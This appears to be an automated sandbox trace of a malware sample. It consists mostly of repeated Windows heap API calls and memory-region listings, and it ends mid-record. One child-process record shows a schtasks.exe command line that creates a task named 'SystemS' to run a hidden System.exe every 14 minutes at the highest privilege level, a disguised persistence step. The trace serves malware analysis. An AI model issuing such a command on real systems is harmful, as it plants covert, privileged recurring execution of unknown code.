[0129.583] GetProcessHeap () returned 0x10e05f40000 [0129.583] GetProcessHeap () returned 0x10e05f40000 [0129.583] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4bb40) returned 1 [0129.583] GetProcessHeap () returned 0x10e05f40000 [0129.583] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4bb40) returned 0x200 [0129.584] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4bb40) returned 1 [0129.584] GetProcessHeap () returned 0x10e05f40000 [0129.584] GetProcessHeap () returned 0x10e05f40000 [0129.584] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f44c70) returned 1 [0129.584] GetProcessHeap () returned 0x10e05f40000 [0129.584] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f44c70) returned 0x18 [0129.584] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f44c70) returned 1 [0129.584] GetProcessHeap () returned 0x10e05f40000 [0129.584] GetProcessHeap () returned 0x10e05f40000 [0129.584] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f48ff0) returned 1 [0129.584] GetProcessHeap () returned 0x10e05f40000 [0129.584] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f48ff0) returned 0x20 [0129.585] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f48ff0) returned 1 [0129.585] GetProcessHeap () returned 0x10e05f40000 [0129.585] GetProcessHeap () returned 0x10e05f40000 [0129.585] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f443b0) returned 1 [0129.585] GetProcessHeap () returned 0x10e05f40000 [0129.585] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f443b0) returned 0x14 [0129.585] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f443b0) returned 1 [0129.585] GetProcessHeap () returned 0x10e05f40000 [0129.585] GetProcessHeap () returned 0x10e05f40000 [0129.585] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f44390) returned 1 [0129.585] GetProcessHeap () returned 0x10e05f40000 [0129.585] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f44390) returned 0x18 [0129.585] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f44390) returned 1 [0129.585] GetProcessHeap () returned 0x10e05f40000 [0129.585] GetProcessHeap () returned 0x10e05f40000 [0129.585] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f48e70) returned 1 [0129.585] GetProcessHeap () returned 0x10e05f40000 [0129.585] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f48e70) returned 0x20 [0129.586] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f48e70) returned 1 [0129.586] GetProcessHeap () returned 0x10e05f40000 [0129.586] GetProcessHeap () returned 0x10e05f40000 [0129.586] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f446c0) returned 1 [0129.586] GetProcessHeap () returned 0x10e05f40000 [0129.586] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f446c0) returned 0x16 [0129.586] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f446c0) returned 1 [0129.586] GetProcessHeap () returned 0x10e05f40000 [0129.586] GetProcessHeap () returned 0x10e05f40000 [0129.586] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f44350) returned 1 [0129.586] GetProcessHeap () returned 0x10e05f40000 [0129.586] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f44350) returned 0x18 [0129.586] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f44350) returned 1 [0129.586] GetProcessHeap () returned 0x10e05f40000 [0129.586] GetProcessHeap () returned 0x10e05f40000 [0129.586] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f48f90) returned 1 [0129.586] GetProcessHeap () returned 0x10e05f40000 [0129.586] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f48f90) returned 0x20 [0129.587] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f48f90) returned 1 [0129.587] GetProcessHeap () returned 0x10e05f40000 [0129.587] GetProcessHeap () returned 0x10e05f40000 [0129.587] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f44ed0) returned 1 [0129.587] GetProcessHeap () returned 0x10e05f40000 [0129.587] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f44ed0) returned 0x2 [0129.587] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f44ed0) returned 1 [0129.587] GetProcessHeap () returned 0x10e05f40000 [0129.587] GetProcessHeap () returned 0x10e05f40000 [0129.587] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f44840) returned 1 [0129.587] GetProcessHeap () returned 0x10e05f40000 [0129.587] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f44840) returned 0x20 [0129.588] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f44840) returned 1 [0129.588] GetProcessHeap () returned 0x10e05f40000 [0129.588] GetProcessHeap () returned 0x10e05f40000 [0129.588] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f44890) returned 1 [0129.588] GetProcessHeap () returned 0x10e05f40000 [0129.588] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f44890) returned 0x20 [0129.589] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f44890) returned 1 [0129.589] GetProcessHeap () returned 0x10e05f40000 [0129.589] GetProcessHeap () returned 0x10e05f40000 [0129.589] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f448c0) returned 1 [0129.589] GetProcessHeap () returned 0x10e05f40000 [0129.589] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f448c0) returned 0x20 [0129.590] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f448c0) returned 1 [0129.590] GetProcessHeap () returned 0x10e05f40000 [0129.591] GetProcessHeap () returned 0x10e05f40000 [0129.591] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f44430) returned 1 [0129.591] GetProcessHeap () returned 0x10e05f40000 [0129.591] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f44430) returned 0x20 [0129.591] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f44430) returned 1 [0129.592] GetProcessHeap () returned 0x10e05f40000 [0129.592] GetProcessHeap () returned 0x10e05f40000 [0129.592] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4baa0) returned 1 [0129.592] GetProcessHeap () returned 0x10e05f40000 [0129.592] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4baa0) returned 0x20 [0129.593] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4baa0) returned 1 [0129.593] GetProcessHeap () returned 0x10e05f40000 [0129.593] GetProcessHeap () returned 0x10e05f40000 [0129.593] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4ab00) returned 1 [0129.593] GetProcessHeap () returned 0x10e05f40000 [0129.593] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4ab00) returned 0xc [0129.593] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4ab00) returned 1 [0129.593] GetProcessHeap () returned 0x10e05f40000 [0129.593] GetProcessHeap () returned 0x10e05f40000 [0129.594] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4b6e0) returned 1 [0129.594] GetProcessHeap () returned 0x10e05f40000 [0129.594] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4b6e0) returned 0x20 [0129.594] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4b6e0) returned 1 [0129.594] GetProcessHeap () returned 0x10e05f40000 [0129.595] GetProcessHeap () returned 0x10e05f40000 [0129.595] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f43920) returned 1 [0129.595] GetProcessHeap () returned 0x10e05f40000 [0129.595] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f43920) returned 0x30 [0129.596] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f43920) returned 1 [0129.596] GetProcessHeap () returned 0x10e05f40000 [0129.596] GetProcessHeap () returned 0x10e05f40000 [0129.596] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4b3e0) returned 1 [0129.596] GetProcessHeap () returned 0x10e05f40000 [0129.596] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4b3e0) returned 0x20 [0129.597] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4b3e0) returned 1 [0129.597] GetProcessHeap () returned 0x10e05f40000 [0129.597] GetProcessHeap () returned 0x10e05f40000 [0129.597] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f44790) returned 1 [0129.597] GetProcessHeap () returned 0x10e05f40000 [0129.597] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f44790) returned 0x30 [0129.598] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f44790) returned 1 [0129.598] GetProcessHeap () returned 0x10e05f40000 [0129.598] GetProcessHeap () returned 0x10e05f40000 [0129.599] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4b500) returned 1 [0129.599] GetProcessHeap () returned 0x10e05f40000 [0129.599] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4b500) returned 0x20 [0129.599] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4b500) returned 1 [0129.600] GetProcessHeap () returned 0x10e05f40000 [0129.600] GetProcessHeap () returned 0x10e05f40000 [0129.600] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4ab20) returned 1 [0129.600] GetProcessHeap () returned 0x10e05f40000 [0129.600] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4ab20) returned 0x16 [0129.600] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4ab20) returned 1 [0129.600] GetProcessHeap () returned 0x10e05f40000 [0129.600] GetProcessHeap () returned 0x10e05f40000 [0129.600] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4b5f0) returned 1 [0129.600] GetProcessHeap () returned 0x10e05f40000 [0129.600] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4b5f0) returned 0x20 [0129.601] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4b5f0) returned 1 [0129.601] GetProcessHeap () returned 0x10e05f40000 [0129.601] GetProcessHeap () returned 0x10e05f40000 [0129.601] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4ac00) returned 1 [0129.601] GetProcessHeap () returned 0x10e05f40000 [0129.601] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4ac00) returned 0x16 [0129.601] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4ac00) returned 1 [0129.602] GetProcessHeap () returned 0x10e05f40000 [0129.602] GetProcessHeap () returned 0x10e05f40000 [0129.602] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4b6b0) returned 1 [0129.602] GetProcessHeap () returned 0x10e05f40000 [0129.602] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4b6b0) returned 0x20 [0129.602] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4b6b0) returned 1 [0129.603] GetProcessHeap () returned 0x10e05f40000 [0129.603] GetProcessHeap () returned 0x10e05f40000 [0129.603] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f659b0) returned 1 [0129.603] GetProcessHeap () returned 0x10e05f40000 [0129.603] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f659b0) returned 0x82 [0129.603] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f659b0) returned 1 [0129.604] GetProcessHeap () returned 0x10e05f40000 [0129.604] GetProcessHeap () returned 0x10e05f40000 [0129.604] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4b800) returned 1 [0129.604] GetProcessHeap () returned 0x10e05f40000 [0129.604] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4b800) returned 0x20 [0129.604] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4b800) returned 1 [0129.605] GetProcessHeap () returned 0x10e05f40000 [0129.605] GetProcessHeap () returned 0x10e05f40000 [0129.605] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4aac0) returned 1 [0129.605] GetProcessHeap () returned 0x10e05f40000 [0129.605] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4aac0) returned 0xe [0129.605] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4aac0) returned 1 [0129.605] GetProcessHeap () returned 0x10e05f40000 [0129.605] GetProcessHeap () returned 0x10e05f40000 [0129.605] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4b9b0) returned 1 [0129.605] GetProcessHeap () returned 0x10e05f40000 [0129.605] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4b9b0) returned 0x20 [0129.606] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4b9b0) returned 1 [0129.675] GetProcessHeap () returned 0x10e05f40000 [0129.675] GetProcessHeap () returned 0x10e05f40000 [0129.675] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4ab60) returned 1 [0129.675] GetProcessHeap () returned 0x10e05f40000 [0129.675] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4ab60) returned 0xc [0129.675] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4ab60) returned 1 [0129.675] GetProcessHeap () returned 0x10e05f40000 [0129.675] GetProcessHeap () returned 0x10e05f40000 [0129.675] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4b830) returned 1 [0129.676] GetProcessHeap () returned 0x10e05f40000 [0129.676] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4b830) returned 0x20 [0129.676] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4b830) returned 1 [0129.676] GetProcessHeap () returned 0x10e05f40000 [0129.676] GetProcessHeap () returned 0x10e05f40000 [0129.676] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4ac20) returned 1 [0129.676] GetProcessHeap () returned 0x10e05f40000 [0129.677] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4ac20) returned 0xe [0129.677] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4ac20) returned 1 [0129.677] GetProcessHeap () returned 0x10e05f40000 [0129.677] GetProcessHeap () returned 0x10e05f40000 [0129.677] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4b680) returned 1 [0129.677] GetProcessHeap () returned 0x10e05f40000 [0129.677] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4b680) returned 0x20 [0129.677] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4b680) returned 1 [0129.677] GetProcessHeap () returned 0x10e05f40000 [0129.677] GetProcessHeap () returned 0x10e05f40000 [0129.677] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4aae0) returned 1 [0129.677] GetProcessHeap () returned 0x10e05f40000 [0129.677] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4aae0) returned 0x10 [0129.677] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4aae0) returned 1 [0129.678] GetProcessHeap () returned 0x10e05f40000 [0129.678] GetProcessHeap () returned 0x10e05f40000 [0129.678] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4b710) returned 1 [0129.678] GetProcessHeap () returned 0x10e05f40000 [0129.678] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4b710) returned 0x20 [0129.678] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4b710) returned 1 [0129.678] GetProcessHeap () returned 0x10e05f40000 [0129.678] GetProcessHeap () returned 0x10e05f40000 [0129.678] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f44870) returned 1 [0129.678] GetProcessHeap () returned 0x10e05f40000 [0129.678] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f44870) returned 0x18 [0129.678] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f44870) returned 1 [0129.678] GetProcessHeap () returned 0x10e05f40000 [0129.678] GetProcessHeap () returned 0x10e05f40000 [0129.678] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f490e0) returned 1 [0129.678] GetProcessHeap () returned 0x10e05f40000 [0129.679] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f490e0) returned 0x20 [0129.679] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f490e0) returned 1 [0129.679] GetProcessHeap () returned 0x10e05f40000 [0129.679] GetProcessHeap () returned 0x10e05f40000 [0129.679] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f49020) returned 1 [0129.679] GetProcessHeap () returned 0x10e05f40000 [0129.679] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f49020) returned 0x20 [0129.680] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f49020) returned 1 [0129.680] GetProcessHeap () returned 0x10e05f40000 [0129.680] GetProcessHeap () returned 0x10e05f40000 [0129.680] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f49170) returned 1 [0129.680] GetProcessHeap () returned 0x10e05f40000 [0129.680] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f49170) returned 0x20 [0129.680] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f49170) returned 1 [0129.680] GetProcessHeap () returned 0x10e05f40000 [0129.680] GetProcessHeap () returned 0x10e05f40000 [0129.680] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f49110) returned 1 [0129.681] GetProcessHeap () returned 0x10e05f40000 [0129.681] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f49110) returned 0x20 [0129.681] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f49110) returned 1 [0129.681] GetProcessHeap () returned 0x10e05f40000 [0129.681] GetProcessHeap () returned 0x10e05f40000 [0129.681] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f44460) returned 1 [0129.681] GetProcessHeap () returned 0x10e05f40000 [0129.681] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f44460) returned 0x18 [0129.681] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f44460) returned 1 [0129.681] GetProcessHeap () returned 0x10e05f40000 [0129.681] GetProcessHeap () returned 0x10e05f40000 [0129.681] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f48fc0) returned 1 [0129.681] GetProcessHeap () returned 0x10e05f40000 [0129.681] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f48fc0) returned 0x20 [0129.682] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f48fc0) returned 1 [0129.682] GetProcessHeap () returned 0x10e05f40000 [0129.682] GetProcessHeap () returned 0x10e05f40000 [0129.682] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f48f60) returned 1 [0129.682] GetProcessHeap () returned 0x10e05f40000 [0129.682] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f48f60) returned 0x20 [0129.683] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f48f60) returned 1 [0129.683] GetProcessHeap () returned 0x10e05f40000 [0129.683] GetProcessHeap () returned 0x10e05f40000 [0129.683] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f491d0) returned 1 [0129.683] GetProcessHeap () returned 0x10e05f40000 [0129.683] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f491d0) returned 0x20 [0129.684] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f491d0) returned 1 [0129.685] GetProcessHeap () returned 0x10e05f40000 [0129.685] GetProcessHeap () returned 0x10e05f40000 [0129.685] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f48ea0) returned 1 [0129.685] GetProcessHeap () returned 0x10e05f40000 [0129.685] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f48ea0) returned 0x20 [0129.686] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f48ea0) returned 1 [0129.686] GetProcessHeap () returned 0x10e05f40000 [0129.686] GetProcessHeap () returned 0x10e05f40000 [0129.686] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f49050) returned 1 [0129.686] GetProcessHeap () returned 0x10e05f40000 [0129.686] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f49050) returned 0x20 [0129.687] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f49050) returned 1 [0129.687] GetProcessHeap () returned 0x10e05f40000 [0129.687] GetProcessHeap () returned 0x10e05f40000 [0129.687] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f44480) returned 1 [0129.687] GetProcessHeap () returned 0x10e05f40000 [0129.687] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f44480) returned 0x18 [0129.687] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f44480) returned 1 [0129.687] GetProcessHeap () returned 0x10e05f40000 [0129.687] GetProcessHeap () returned 0x10e05f40000 [0129.687] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f49140) returned 1 [0129.687] GetProcessHeap () returned 0x10e05f40000 [0129.687] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f49140) returned 0x20 [0129.688] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f49140) returned 1 [0129.688] GetProcessHeap () returned 0x10e05f40000 [0129.688] GetProcessHeap () returned 0x10e05f40000 [0129.688] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f44eb0) returned 1 [0129.688] GetProcessHeap () returned 0x10e05f40000 [0129.688] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f44eb0) returned 0x18 [0129.688] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f44eb0) returned 1 [0129.688] exit (_Code=0) Thread: id = 185 os_tid = 0x228 Process: id = "35" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x32074000" os_pid = "0xb04" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x1120" cmd_line = "schtasks.exe /create /tn \"SystemS\" /sc MINUTE /mo 14 /tr \"'C:\\Users\\All Users\\Application Data\\System.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3708 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3709 start_va = 0xed00230000 end_va = 0xed002affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000ed00230000" filename = "" Region: id = 3710 start_va = 0xed00400000 end_va = 0xed005fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000ed00400000" filename = "" Region: id = 3711 start_va = 0x2a3f43b0000 end_va = 0x2a3f43cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002a3f43b0000" filename = "" Region: id = 3712 start_va = 0x2a3f43d0000 end_va = 0x2a3f43e4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002a3f43d0000" filename = "" Region: id = 3713 start_va = 0x2a3f43f0000 end_va = 0x2a3f43f3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002a3f43f0000" filename = "" Region: id = 3714 start_va = 0x2a3f4400000 end_va = 0x2a3f4400fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002a3f4400000" filename = "" Region: id = 3715 start_va = 0x2a3f4410000 end_va = 0x2a3f4411fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002a3f4410000" filename = "" Region: id = 3716 start_va = 0x7df5ffae0000 end_va = 0x7ff5ffadffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffae0000" filename = "" Region: id = 3717 start_va = 0x7ff684810000 end_va = 0x7ff684832fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff684810000" filename = "" Region: id = 3718 start_va = 0x7ff685110000 end_va = 0x7ff68514cfff monitored = 1 entry_point = 0x7ff685134550 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3719 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3720 start_va = 0x2a3f4420000 end_va = 0x2a3f46affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002a3f4420000" filename = "" Region: id = 3721 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3722 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = 